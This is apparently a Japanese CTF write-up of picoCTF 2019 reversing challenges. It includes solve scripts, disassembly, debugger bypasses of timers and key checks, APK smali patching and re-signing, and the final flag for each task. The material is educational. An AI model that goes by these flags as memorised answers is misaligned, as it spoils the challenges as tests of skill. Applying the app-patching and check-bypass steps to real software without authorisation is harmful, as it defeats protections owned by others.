vault-door-1 - Points: 100

This vault uses some complicated arrays! I hope you can make sense of it, special agent. The source code for this vault is here: VaultDoor1.java

VaultDoor1.java を見てみると、入力した値をバラバラに比較しているような処理が確認できました。

public boolean checkPassword(String password) {
    return password.length() == 32 &&
           password.charAt(0)  == 'd' &&
           password.charAt(29) == 'f' &&
           password.charAt(4)  == 'r' &&
           password.charAt(2)  == '5' &&
           password.charAt(23) == 'r' &&
           password.charAt(3)  == 'c' &&
           password.charAt(17) == '4' &&
           password.charAt(1)  == '3' &&
           password.charAt(7)  == 'b' &&
           password.charAt(10) == '_' &&
           password.charAt(5)  == '4' &&
           password.charAt(9)  == '3' &&
           password.charAt(11) == 't' &&
           password.charAt(15) == 'c' &&
           password.charAt(8)  == 'l' &&
           password.charAt(12) == 'H' &&
           password.charAt(20) == 'c' &&
           password.charAt(14) == '_' &&
           password.charAt(6)  == 'm' &&
           password.charAt(24) == '5' &&
           password.charAt(18) == 'r' &&
           password.charAt(13) == '3' &&
           password.charAt(19) == '4' &&
           password.charAt(21) == 'T' &&
           password.charAt(16) == 'H' &&
           password.charAt(27) == '3' &&
           password.charAt(30) == '3' &&
           password.charAt(25) == '_' &&
           password.charAt(22) == '3' &&
           password.charAt(28) == 'e' &&
           password.charAt(26) == '6' &&
           password.charAt(31) == 'a';
}

並び替えると、フラグになります。

$ grep charAt VaultDoor1.java | cut -d"(" -f 2 | sort -n | cut -d"'" -f 2 | sed -z "s/\n//g"
d35cr4mbl3_tH3_cH4r4cT3r5_63ef3a

picoCTF{d35cr4mbl3_tH3_cH4r4cT3r5_63ef3a}

asm1 - Points: 200

What does asm1(0x4f3) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm1_6_74dd61bdf487805bf057c71be7941289.

書いてある通りに分岐を辿っていくだけの問題

  1. (0x4f3 > 0x45d) なので、asm1+37 に移動する。
  2. (0x4f3 != 0x7cd) なので、asm1+54 に移動する。
  3. 0x4f3 + 0x17 を計算する。
asm1:
    <+0>: push   ebp
    <+1>:    mov    ebp,esp
    <+3>:    cmp    DWORD PTR [ebp+0x8],0x45d
    <+10>:   jg     0x512 <asm1+37>
    <+12>:   cmp    DWORD PTR [ebp+0x8],0x430
    <+19>:   jne    0x50a <asm1+29>
    <+21>:   mov    eax,DWORD PTR [ebp+0x8]
    <+24>:   add    eax,0x17
    <+27>:   jmp    0x529 <asm1+60>
    <+29>:   mov    eax,DWORD PTR [ebp+0x8]
    <+32>:   sub    eax,0x17
    <+35>:   jmp    0x529 <asm1+60>
    <+37>:   cmp    DWORD PTR [ebp+0x8],0x7cd
    <+44>:   jne    0x523 <asm1+54>
    <+46>:   mov    eax,DWORD PTR [ebp+0x8]
    <+49>:   sub    eax,0x17
    <+52>:   jmp    0x529 <asm1+60>
    <+54>:   mov    eax,DWORD PTR [ebp+0x8]
    <+57>:   add    eax,0x17
    <+60>:   pop    ebp
    <+61>:   ret    

picoCTF{0x50a}

vault-door-3 - Points: 200

This vault uses for-loops and byte arrays. The source code for this vault is here: VaultDoor3.java

vault-door-1 の checkPasswordの処理が少し変わっていますが、単純に並び替えてから比較しているだけです。 並び替え後の文字列を表示するを表示するように変更しました。 picoCTF{jU5t_a_sna_3lpm13gc49_u_4_m0rf41} と入力し、表示された文字列がフラグとなります。

public boolean checkPassword(String password) {
    if (password.length() != 32) {
        return false;
    }
    char[] buffer = new char[32];
    int i;
    for (i=0; i<8; i++) {
        buffer[i] = password.charAt(i);
    }
    for (; i<16; i++) {
        buffer[i] = password.charAt(23-i);
    }
    for (; i<32; i+=2) {
        buffer[i] = password.charAt(46-i);
    }
    for (i=31; i>=17; i-=2) {
        buffer[i] = password.charAt(i);
    }
    String s = new String(buffer);
    System.out.printf("picoCTF{%s}\n", s); // 追加
    return s.equals("jU5t_a_sna_3lpm13gc49_u_4_m0rf41");
}

実行結果は、以下の通りとなります。

$ javac VaultDoor3.java
$ java VaultDoor3
Enter vault password: picoCTF{jU5t_a_sna_3lpm13gc49_u_4_m0rf41}
picoCTF{jU5t_a_s1mpl3_an4gr4m_4_u_90cf31}
Access denied!

picoCTF{jU5t_a_s1mpl3_an4gr4m_4_u_90cf31}

asm2 - Points: 250

What does asm2(0xe,0x22) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm2_4_548389d70e48a3ca5473a24096f2186a.

アセンブリを読んで、同じことをさせるスクリプトを書きました。

arg1 = 0xe
arg2 = 0x22

while arg1 <= 0x9087:
    arg2 += 0x1
    arg1 += 0xd1

print(hex(arg2))

実行すると、フラグが取得できます。

$ python solve.py
0xd3

picoCTF{0xd3}

vault-door-4 - Points: 250

This vault uses ASCII encoding for the password. The source code for this vault is here: VaultDoor4.java

フラグをバイト配列に変換しているようなので、バイト配列をStringに変換して表示するだけでフラグを取得することができます。 バイト配列をStringに変換する処理を追記しました。

public boolean checkPassword(String password) {
    byte[] passBytes = password.getBytes();
    byte[] myBytes = {
        106 , 85  , 53  , 116 , 95  , 52  , 95  , 98  ,
        0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f,
        0142, 0131, 0164, 063 , 0163, 0137, 070 , 060 ,
        'f' , '8' , 'e' , '1' , 'e' , '0' , '4' , '7' ,
    };
    System.out.printf("picoCTF{%s}\n", new String(myBytes)); // 追加
    for (int i=0; i<32; i++) {
        if (passBytes[i] != myBytes[i]) {
            return false;
        }
    }
    return true;
}
}

実行すると、フラグが表示されます。

$ java VaultDoor4
Enter vault password: picoCTF{aaa}
picoCTF{jU5t_4_bUnCh_0f_bYt3s_80f8e1e047}
Access denied!

picoCTF{jU5t_4_bUnCh_0f_bYt3s_80f8e1e047}

asm3 - Points: 300

What does asm3(0xdff83990,0xeeff29ae,0xfa706498) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm3_3_8aa3e17880273360f781adadc67a15f0.

与えられたファイルをGAS用に調整して解きました。

以下のようにプログラムを調整しました。

.intel_syntax noprefix

.global asm3

asm3:
    push   ebp
    mov    ebp,esp
    xor    eax,eax
    mov    ah,BYTE PTR [ebp+0xb]
    shl    ax,0x10
    sub    al,BYTE PTR [ebp+0xd]
    add    ah,BYTE PTR [ebp+0xe]
    xor    ax,WORD PTR [ebp+0x12]
    nop
    pop    ebp
    ret

こちらは、フラグ表示用のプログラムです。

#include <stdio.h>

int main(void)
{
    printf("picoCTF{0x%x}\n", asm3(0xdff83990, 0xeeff29ae, 0xfa706498));
    return 0;
}

コンパイルして実行すると、フラグが出力されます。

$ gcc -m32 -c test.S -o test.o
$ gcc -m32 -c solve.c -o solve.o -w
$ gcc -m32 solve.o test.o
$ ./a.out
picoCTF{0x5a7}

picoCTF{0x5a7}

droids0 - Points: 300

Where do droid logs go. Check out this file. You can also find the file in /problems/droids0_0_205f7b4a3b23490adffddfcfc45a2ca3.

APKをAndroidエミュレータにインストールして、ボタンを押すとLogcatにフラグが表示されます。

2019-10-05 00:36:17.510 5801-5801/com.hellocmu.picoctf I/PICO: picoCTF{a.moose.once.bit.my.sister}

picoCTF{a.moose.once.bit.my.sister}

reverse_cipher - Points: 300

We have recovered a binary and a text file. Can you reverse the flag. Its also found in /problems/reverse-cipher_0_b784b7d0e499d532eba7269bfdf6a21d on the shell server.

Ghidraでrevのmain関数を見てみると、flag.txtの文字列に変換をかけている処理が見えました。

f:id:tsalvia:20191001032521p:plain

上記の処理と逆変換を行うようなスクリプトを書きました。

def main():
    with open("rev_this", "r") as f:
        rev_this = f.read() 

    flag = ""
    for i, ch in enumerate(rev_this):
        if i < 8 or i == 23:
            flag += ch 
        elif (i & 1) == 0:
            flag += chr(ord(ch) - 5)
        else:
            flag += chr(ord(ch) + 2)
    print(flag)

if __name__ == "__main__":
    main()

実行すると、フラグが確認できます。

$ python solve.py 
picoCTF{r3v3rs39ba4806b}

picoCTF{r3v3rs39ba4806b}

vault-door-5 - Points: 300

In the last challenge, you mastered octal (base 8), decimal (base 10), and hexadecimal (base 16) numbers, but this vault door uses a different change of base as well as URL encoding! The source code for this vault is here: VaultDoor5.java

checkPasswordの処理を見てみると、入力値をURLエンコードし、Base64エンコードした文字列を expectedと比較している。 よって、expextedの文字列をBase64デコードし、URLデコードすればフラグとなります。

public boolean checkPassword(String password) {
    String urlEncoded = urlEncode(password.getBytes());
    String base64Encoded = base64Encode(urlEncoded.getBytes());
    String expected = "JTYzJTMwJTZlJTc2JTMzJTcyJTc0JTMxJTZlJTY3JTVm"
                    + "JTY2JTcyJTMwJTZkJTVmJTYyJTYxJTM1JTY1JTVmJTM2"
                    + "JTM0JTVmJTMxJTMxJTM3JTM3JTY2JTM3JTM4JTMz";
    return base64Encoded.equals(expected);
}

以下のコマンドで変換すると、フラグが表示されました。

$ cat VaultDoor5.java | grep -A 2 "String expected" | cut -d'"' -f 2 | base64 -d | nkf --url-input | sed -e "s/^/picoCTF{/" | sed -e "s/$/\}\n/"
picoCTF{c0nv3rt1ng_fr0m_ba5e_64_1177f783}

picoCTF{c0nv3rt1ng_fr0m_ba5e_64_1177f783}

droids2 - Points: 400

Find the pass, get the flag. Check out this file. You can also find the file in /problems/droids2_0_bf474794b5a228db3498ba3198db54d7.

apktools でone.apkを展開してみます。

PS> apktool d one.apk

以下のsmaliファイルを見てみると、passwordの比較処理が確認できます。

one\smali\com\hellocmu\picoctf\FlagstaffHill.smali

.line 12
.local v0, "password":Ljava/lang/String;
invoke-virtual {p0, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

move-result v1

if-eqz v1, :cond_0

invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->fenugreek(Ljava/lang/String;)Ljava/lang/String;

move-result-object v1

passwordの文字列をstrings.xmlで確認すると、「opossum」と書かれていました。

one\res\values\strings.xml

<string name="password">opossum</string>

APKをAndroidエミュレータにインストールして、パスワード「opossum」と入力し、ボタンを押すとフラグが表示されます。

picoCTF{pining.for.the.fjords}

vault-door-6 - Points: 350

This vault uses an XOR encryption scheme. The source code for this vault is here: VaultDoor6.java

入力したパスワードは、0x55でxorを取った後、比較をしているようです。 比較しているmyBytesをもう一度0x55でxorすると、フラグとなります。

public boolean checkPassword(String password) {
    // if (password.length() != 32) {
    //     return false;
    // }
    byte[] passBytes = password.getBytes();
    byte[] myBytes = {
        0x3b, 0x65, 0x21, 0xa , 0x38, 0x0 , 0x36, 0x1d,
        0xa , 0x3d, 0x61, 0x27, 0x11, 0x66, 0x27, 0xa ,
        0x21, 0x1d, 0x61, 0x3b, 0xa , 0x2d, 0x65, 0x27,
        0xa , 0x60, 0x62, 0x36, 0x67, 0x6d, 0x6c, 0x67,
    };
    System.out.print("picoCTF{");
    for (int i=0; i<32; i++) {
        System.out.printf("%c", myBytes[i] ^ 0x55);
    }
    System.out.println("}");
    for (int i=0; i<32; i++) {
        if (((passBytes[i] ^ 0x55) - myBytes[i]) != 0) {
            return false;
        }
    }
    return true;
}

実行すると、フラグが出力されます。

$ javac VaultDoor6.java
$ java VaultDoor6
Enter vault password: picoCTF{aaa}
picoCTF{n0t_mUcH_h4rD3r_tH4n_x0r_57c2892}
Access denied!

picoCTF{n0t_mUcH_h4rD3r_tH4n_x0r_57c2892}

B1ll_Gat35 - Points: 400

Can you reverse this Windows Binary?

x32dbgで実行し、「Incorrect key. Try again.」と表示されるタイミングで、EIPを「Correct input.」と表示されるアドレスに書き換えました。 しばらく、ステップ実行していると、フラグが出てきました。

f:id:tsalvia:20191011194755p:plain

PICOCTF{These are the access codes to the vault: 1063340}

Need For Speed - Points: 400

The name of the game is speed. Are you quick enough to solve this problem and keep it above 50 mph? need-for-speed.

Ghidraで開くと、set_timer関数でalarmの設定がされていました。 ここを呼び出さないようにgdbでjumpさせると、フラグが表示されました。

f:id:tsalvia:20191002032100p:plain

gdb-peda$ start
gdb-peda$ jump *main+25
Continuing at 0x55555555498d.
Creating key...

Program received signal SIGALRM, Alarm clock.
Finished
Printing flag:
PICOCTF{Good job keeping bus #0d11d09e speeding along!}
[Inferior 1 (process 1634) exited normally]
Warning: not running

PICOCTF{Good job keeping bus #0d11d09e speeding along!}

Time's Up - Points: 400

Time waits for no one. Can you solve this before time runs out? times-up, located in the directory at /problems/time-s-up_1_7d4f79c3df3e1b044801573eea5722be.

実行すると、計算式が表示されてすぐに終了します。手動で計算しても間に合わないので、以下のスクリプトを使って解きました。

from pwn import *

p = process("./times-up")
question = p.readuntil("\n").split(":")[1]
p.sendline(str(eval(question)))
p.interactive()

上記のスクリプトを実行すると、フラグが出力されます。

$ python ~/solve.py 
[+] Starting local process './times-up': pid 4188418
[*] Switching to interactive mode
Setting alarm...
Solution? Congrats! Here is the flag!
picoCTF{Gotta go fast. Gotta go FAST. #3daa579a}
[*] Got EOF while reading in interactive
$ 

picoCTF{Gotta go fast. Gotta go FAST. #3daa579a}

asm4 - Points: 400

What will asm4("picoCTF_d899a") return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm4_3_2774c1aa0f793d4517b90661a765e1a6.

与えられたファイルをGAS用に調整して解きました。

以下のようにプログラムを調整しました。

.intel_syntax noprefix

.global asm4

asm4:
    push   ebp
    mov    ebp,esp
    push   ebx
    sub    esp,0x10
    mov    DWORD PTR [ebp-0x10],0x27d
    mov    DWORD PTR [ebp-0xc],0x0
    jmp    asm4_27
asm4_23:
    add    DWORD PTR [ebp-0xc],0x1
asm4_27:
    mov    edx,DWORD PTR [ebp-0xc]
    mov    eax,DWORD PTR [ebp+0x8]
    add    eax,edx
    movzx  eax,BYTE PTR [eax]
    test   al,al
    jne    asm4_23
    mov    DWORD PTR [ebp-0x8],0x1
    jmp    asm4_138
asm4_51:
    mov    edx,DWORD PTR [ebp-0x8]
    mov    eax,DWORD PTR [ebp+0x8]
    add    eax,edx
    movzx  eax,BYTE PTR [eax]
    movsx  edx,al
    mov    eax,DWORD PTR [ebp-0x8]
    lea    ecx,[eax-0x1]
    mov    eax,DWORD PTR [ebp+0x8]
    add    eax,ecx
    movzx  eax,BYTE PTR [eax]
    movsx  eax,al
    sub    edx,eax
    mov    eax,edx
    mov    edx,eax
    mov    eax,DWORD PTR [ebp-0x10]
    lea    ebx,[edx+eax*1]
    mov    eax,DWORD PTR [ebp-0x8]
    lea    edx,[eax+0x1]
    mov    eax,DWORD PTR [ebp+0x8]
    add    eax,edx
    movzx  eax,BYTE PTR [eax]
    movsx  edx,al
    mov    ecx,DWORD PTR [ebp-0x8]
    mov    eax,DWORD PTR [ebp+0x8]
    add    eax,ecx
    movzx  eax,BYTE PTR [eax]
    movsx  eax,al
    sub    edx,eax
    mov    eax,edx
    add    eax,ebx
    mov    DWORD PTR [ebp-0x10],eax
    add    DWORD PTR [ebp-0x8],0x1
asm4_138:
    mov    eax,DWORD PTR [ebp-0xc]
    sub    eax,0x1
    cmp    DWORD PTR [ebp-0x8],eax
    jl     asm4_51
    mov    eax,DWORD PTR [ebp-0x10]
    add    esp,0x10
    pop    ebx
    pop    ebp
    ret

こちらは、フラグ表示用のプログラムです。

#include <stdio.h>

int main(void)
{
    printf("picoCTF{0x%x}\n", asm4("picoCTF_d899a"));
    return 0;
}

コンパイルして実行すると、フラグが出力されます。

$ gcc -m32 -c test.S -o test.o
$ gcc -m32 -c solve.c -o solve.o -w
$ gcc -m32 solve.o test.o
$ ./a.out 
picoCTF{0x23e}

picoCTF{0x23e}

droids2 - Points: 400

Find the pass, get the flag. Check out this file. You can also find the file in /problems/droids2_0_bf474794b5a228db3498ba3198db54d7.

まず、APKファイルをzipとして展開し、dex2jarでclasses.dexをjar形式に変換します。

PS> cd two
PS> d2j-dex2jar.exe classes.dex

JD-GUIでjarファイルを開き、 com.hellocmu.picoctf.FlagstaffHill.getFlag() を確認すると、以下のようになっていました。

public static String getFlag(String paramString, Context paramContext)
{
  paramContext = new String[6];
  paramContext[0] = "weatherwax";
  paramContext[1] = "ogg";
  paramContext[2] = "garlick";
  paramContext[3] = "nitt";
  paramContext[4] = "aching";
  paramContext[5] = "dismass";
  int i = 3 - 3;
  int j = 3 / 3 + i;
  int k = j + j - i;
  int m = 3 + k;
  if (paramString.equals("".concat(paramContext[m]).concat(".").concat(paramContext[j]).concat(".").concat(paramContext[i]).concat(".").concat(paramContext[(m + i - j)]).concat(".").concat(paramContext[3]).concat(".").concat(paramContext[k]))) {
    return sesame(paramString);
  }
  return "NOPE";
}

「dismass.ogg.weatherwax.aching.nitt.garlick」という文字列と比較しているようです。 パスワードとして「dismass.ogg.weatherwax.aching.nitt.garlick」と入力すると、フラグが表示されます。

picoCTF{what.is.your.favourite.colour}

vault-door-7 - Points: 400

This vault uses bit shifts to convert a password string into an array of integers. Hurry, agent, we are running out of time to stop Dr. Evil's nefarious plans! The source code for this vault is here: VaultDoor7.java

passwordToIntArrayを見てみると、入力したパスワードをint型に変換している処理が確認できます。 その後、checkPasswordで数値と比較している処理があります。ここで比較している数値がフラグとなります。

public int[] passwordToIntArray(String hex) {
    int[] x = new int[8];
    byte[] hexBytes = hex.getBytes();
    for (int i=0; i<8; i++) {
        x[i] = hexBytes[i*4]   << 24
             | hexBytes[i*4+1] << 16
             | hexBytes[i*4+2] << 8
             | hexBytes[i*4+3];
    }
    return x;
}
    
public boolean checkPassword(String password) {
    if (password.length() != 32) {
        return false;
    }
    int[] x = passwordToIntArray(password);
    return x[0] == 1096770097
        && x[1] == 1952395366
        && x[2] == 1600270708
        && x[3] == 1601398833
        && x[4] == 1716808014
        && x[5] == 1734305381
        && x[6] == 828716089
        && x[7] == 895562083;
}

int型に変換された文字列を変換するスクリプトを作成しました。

def main():
    x = [
        1096770097,
        1952395366,
        1600270708,
        1601398833,
        1716808014,
        1734305381,
        828716089,
        895562083
    ]
    
    flag = b"picoCTF{"
    for str_i in x:
        flag += str_i.to_bytes(4, byteorder="big")
    flag += b"}"
    
    print(flag)

if __name__ == "__main__":
    main()

実行すると、フラグが確認できます。

$ python solve.py 
b'picoCTF{A_b1t_0f_b1t_sh1fTiNg_fe1e495a1c}'

picoCTF{A_b1t_0f_b1t_sh1fTiNg_fe1e495a1c}

droids3 - Points: 450

Find the pass, get the flag. Check out this file. You can also find the file in /problems/droids3_0_b475775d8018b2a030a38c40e3b0e25c.

apktoolでAPKファイルを展開し、three\smali\com\hellocmu\picoctf\FlagstaffHill.smali を確認します。 getFlagメソッドでは、nopeメソッドが内部で呼ばれています。 しかし、「don\'t wanna」を返すだけなので、意味がありません。 もう1つyepというメソッドがありますが、このメソッドを呼び出す処理がありませんでした。 そのため、以下のコードの7行目のnopeをyepに変更し、yepメソッドを呼び出すように変更しました。

.method public static getFlag(Ljava/lang/String;Landroid/content/Context;)Ljava/lang/String;
    .locals 1
    .param p0, "input"    # Ljava/lang/String;
    .param p1, "ctx"    # Landroid/content/Context;

    .line 19
    # invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->nope(Ljava/lang/String;)Ljava/lang/String;
    invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->yep(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v0

    .line 20
    .local v0, "flag":Ljava/lang/String;
    return-object v0
.end method

smaliファイル編集後、以下のサイトを参考にapktoolでAPKを再ビルドします。

komaken.me

PS> apktool b .\three -o three_2.apk
PS> keytool -genkey -dname "c=JP" -keypass 123456 -keystore hoge.keystore -storepass 123456 -validity 10000 -alias hogeapp -keyalg RSA
PS> jarsigner -digestalg SHA1 -verbose -signedjar .\three_2.apk -keystore hoge.keystore three_2.apk hogeapp

ビルドされたAPKをAndroidエミュレータ上で実行し、ボタンを押すとyepメソッドが呼び出され、フラグが出力されます。

picoCTF{tis.but.a.scratch}

Time's Up, Again! - Points: 450

Previously you solved things fast. Now you've got to go faster. Much faster. Can you solve this one before time runs out? times-up-again, located in the directory at /problems/time-s-up--again-_4_89723abde97d958ac43dbfb7caeb77ee.

前回より、早く実行する必要があるようです。 pwntoolsを使うのをやめたり、pycompileしたりしているとフラグが出てきました。

import subprocess

while True:
    proc = subprocess.Popen("./times-up-again", stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    question = proc.stdout.readline()[10:-1]
    answer = eval(question)
    proc.stdout.readline()
    try:
        proc.stdin.write(str(answer) + "\n")
    except IOError:
        continue
    for _ in range(10):
        proc.stdout.flush()
        data = proc.stdout.readline()
        if data != "":
            print(data)

かなりの頻度で失敗しますが、何回か実行しているとフラグが出力されました。

$ pycompile /tmp/abcdddd.py
$ cd /problems/time-s-up--again-_4_935eacc9828fce7d8ad02710c47603e2/times-up-again
$ python /tmp/abcdddd.pyc
Solution? Nope!

Solution? Nope!

picoCTF{Hasten. Hurry. Ferrociously Speedy. #030d7d3f}

picoCTF{Hasten. Hurry. Ferrociously Speedy. #030d7d3f}

vault-door-8 - Points: 450

Apparently Dr. Evil's minions knew that our agency was making copies of their source code, because they intentionally sabotaged this source code in order to make it harder for our agents to analyze and crack into! The result is a quite mess, but I trust that my best special agent will find a way to solve it. The source code for this vault is here: VaultDoor8.java

scrambleやswitchBitsを見ると、色々変換をしている処理が見えます。 結構面倒くさそうなので、ソースコードを以下のように書き換え、総当たりで求めることにしました。

// These pesky special agents keep reverse engineering our source code and then
// breaking into our secret vaults. THIS will teach those sneaky sneaks a
// lesson.
//
// -Minion #0891
import java.util.*;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.security.*;

class VaultDoor8 {
    public static void main(String args[]) {
        // Scanner b = new Scanner(System.in);
        // System.out.print("Enter vault password: ");
        // String c = b.next();
        // String f = c.substring(8, c.length() - 1);
        VaultDoor8 a = new VaultDoor8();
        char[] flag = new char[32];
        for (int i = 0; i < 32; i++) {
            for (char ch = '!'; ch <= '~'; ch++) {
                flag[i] = ch;
                char[] buf = new char[i+1];
                System.arraycopy(flag, 0, buf, 0, i+1);
                if (a.checkPassword(new String(buf)))
                    break;
            }
        }
        System.out.printf("picoCTF{%s}\n", new String(flag));
        // if (a.checkPassword(f)) {
            // System.out.println("Access granted.");
        // } else {
            // System.out.println("Access denied!");
        // }
    }

    public char[] scramble(String password) {/* Scramble a password by transposing pairs of bits. */
        char[] a = password.toCharArray();
        for (int b = 0; b < a.length; b++) {
            char c = a[b];
            c = switchBits(c, 1, 2);
            c = switchBits(c, 0, 3);
            /* c = switchBits(c,14,3); c = switchBits(c, 2, 0); */ c = switchBits(c, 5, 6);
            c = switchBits(c, 4, 7);
            c = switchBits(c, 0, 1);
            /* d = switchBits(d, 4, 5); e = switchBits(e, 5, 6); */ c = switchBits(c, 3, 4);
            c = switchBits(c, 2, 5);
            c = switchBits(c, 6, 7);
            a[b] = c;
        }
        return a;
    }

    public char switchBits(char c, int p1, int p2) {
        /*
         * Move the bit in position p1 to position p2, and move the bit that was in
         * position p2 to position p1. Precondition: p1 < p2
         */ char mask1 = (char) (1 << p1);
        char mask2 = (char) (1 << p2);
        /* char mask3 = (char)(1<<p1<<p2); mask1++; mask1--; */ char bit1 = (char) (c & mask1);
        char bit2 = (char) (c & mask2);
        /*
         * System.out.println("bit1 " + Integer.toBinaryString(bit1));
         * System.out.println("bit2 " + Integer.toBinaryString(bit2));
         */ char rest = (char) (c & ~(mask1 | mask2));
        char shift = (char) (p2 - p1);
        char result = (char) ((bit1 << shift) | (bit2 >> shift) | rest);
        return result;
    }

    public boolean checkPassword(String password) {
        char[] scrambled = scramble(password);
        char[] expected = { 0xF4, 0xC0, 0x97, 0xF0, 0x77, 0x97, 0xC0, 0xE4, 0xF0, 0x77, 0xA4, 0xD0, 0xC5, 0x77, 0xF4,
                0x86, 0xD0, 0xA5, 0x45, 0x96, 0x27, 0xB5, 0x77, 0xC1, 0xF1, 0xD0, 0x95, 0x94, 0xD1, 0xA5, 0xC2, 0xD0 };
        for (int i = 0; i < scrambled.length; i++) {
            if (scrambled[i] != expected[i])
                return false;
        }
        return true;
        // return Arrays.equals(scrambled, expected);
    }
}

実行すると、フラグが表示されます。

$ javac VaultDoor8.java
$ java VaultDoor8     
picoCTF{s0m3_m0r3_b1t_sh1fTiNg_471ea5f81}

picoCTF{s0m3_m0r3_b1t_sh1fTiNg_471ea5f81}

Forky - Points: 500

In this program, identify the last integer value that is passed as parameter to the function doNothing(). The binary is also found in /problems/forky_0_a39672953af93d29d20b29500b5f772c on the shell server.

同じような動作をするプログラムを作成しました。 doNothing関数のところで、tidと引数の値を出力するように一部変更してあります。

#include <sys/mman.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <stdio.h>

void doNothing(int num)
{
    printf("tid: %ld, picoCTF{%d}\n", syscall(SYS_gettid), num);
}

int main(void)
{
  int *piVar1;
  
  piVar1 = (int *)mmap((void *)0x0,4,3,0x21,-1,0);
  *piVar1 = 1000000000;
  fork();
  fork();
  fork();
  fork();
  *piVar1 = *piVar1 + 0x499602d2;
  doNothing(*piVar1);
  return 0;
}

実行して、出力結果をソートします。最後の行がフラグとなります。

$ gcc solve.c
$ ./a.out | sort | tail -n 1 
tid: 11680, picoCTF{-721750240}

picoCTF{-721750240}

droids4 - Points: 500

reverse the pass, patch the file, get the flag. Check out this file. You can also find the file in /problems/droids4_0_99ba4f323d3d194b5092bf43d97e9ce9.

まずは、d2j-dex2jar.exe を使ってdexファイルをjarファイルに変換してコードを確認してみます。

PS> Rename-Item .\four.apk .\four.zip
PS> Expand-Archive four.zip
PS> cd .\four\
PS> d2j-dex2jar.exe .\classes.dex

生成されたclasses-dex2jar.jar を jd-gui.exe で開くと、以下のような処理が確認できます。

public class FlagstaffHill
{
  public static native String cardamom(String paramString);
  
  public static String getFlag(String paramString, Context paramContext)
  {
    paramContext = new StringBuilder("aaa");
    StringBuilder localStringBuilder1 = new StringBuilder("aaa");
    StringBuilder localStringBuilder2 = new StringBuilder("aaa");
    StringBuilder localStringBuilder3 = new StringBuilder("aaa");
    paramContext.setCharAt(0, (char)(paramContext.charAt(0) + '\004'));
    paramContext.setCharAt(1, (char)(paramContext.charAt(1) + '\023'));
    paramContext.setCharAt(2, (char)(paramContext.charAt(2) + '\022'));
    localStringBuilder1.setCharAt(0, (char)(localStringBuilder1.charAt(0) + '\007'));
    localStringBuilder1.setCharAt(1, (char)(localStringBuilder1.charAt(1) + '\000'));
    localStringBuilder1.setCharAt(2, (char)(localStringBuilder1.charAt(2) + '\001'));
    localStringBuilder2.setCharAt(0, (char)(localStringBuilder2.charAt(0) + '\000'));
    localStringBuilder2.setCharAt(1, (char)(localStringBuilder2.charAt(1) + '\013'));
    localStringBuilder2.setCharAt(2, (char)(localStringBuilder2.charAt(2) + '\017'));
    localStringBuilder3.setCharAt(0, (char)(localStringBuilder3.charAt(0) + '\016'));
    localStringBuilder3.setCharAt(1, (char)(localStringBuilder3.charAt(1) + '\024'));
    localStringBuilder3.setCharAt(2, (char)(localStringBuilder3.charAt(2) + '\017'));
    if (paramString.equals("".concat(localStringBuilder2.toString()).concat(localStringBuilder1.toString()).concat(paramContext.toString()).concat(localStringBuilder3.toString()))) {
      return "call it";
    }
    return "NOPE";
  }
}

パスワード比較をしていそうな処理と、呼び出されていないネイティブメソッドがあります。

次に apktool を使ってapkファイルを展開し、smaliファイルに変換します。

PS> apktool d four.apk

smaliファイルを以下のように変更します。

  • パスワードが正しくない場合、パスワードを戻り値に設定する。
  • パスワードが正しい場合、第1引数に入力した文字列を指定して、cardamomメソッドを呼び出す。
.method public static native cardamom(Ljava/lang/String;)Ljava/lang/String;
.end method

.method public static getFlag(Ljava/lang/String;Landroid/content/Context;)Ljava/lang/String;
    .locals 8
    .param p0, "input"    # Ljava/lang/String;
    .param p1, "ctx"    # Landroid/content/Context;

    # 省略

    move-result-object v4

    .line 36
    .local v4, "password":Ljava/lang/String;
    invoke-virtual {p0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v5

    if-eqz v5, :cond_0
 
    # const-string v5, "call it"

    # return-object v5

    invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->cardamom(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v5

    return-object v5

    .line 37
    :cond_0
    const-string v5, "NOPE"

    # return-object v5
    return-object v4
.end method

smaliファイル編集後、以下のサイトを参考にapktoolでAPKを再ビルドします。

komaken.me

PS> apktool b .\four\ -o four_2.apk
PS> keytool -genkey -dname "c=JP" -keypass 123456 -keystore hoge.keystore -storepass 123456 -validity 10000 -alias hogeapp -keyalg RSA
PS> jarsigner -digestalg SHA1 -verbose -signedjar .\four_2.apk -keystore hoge.keystore four_2.apk hogeapp

ビルドされたAPKをAndroidエミュレータ上で実行します。 何も入力せずにボタンを押すと、パスワード「alphabetsoup」が出力されます。 「alphabetsoup」と入力して、ボタンを押すとcardamomメソッドが呼び出され、フラグが出力されます。

picoCTF{not.particularly.silly}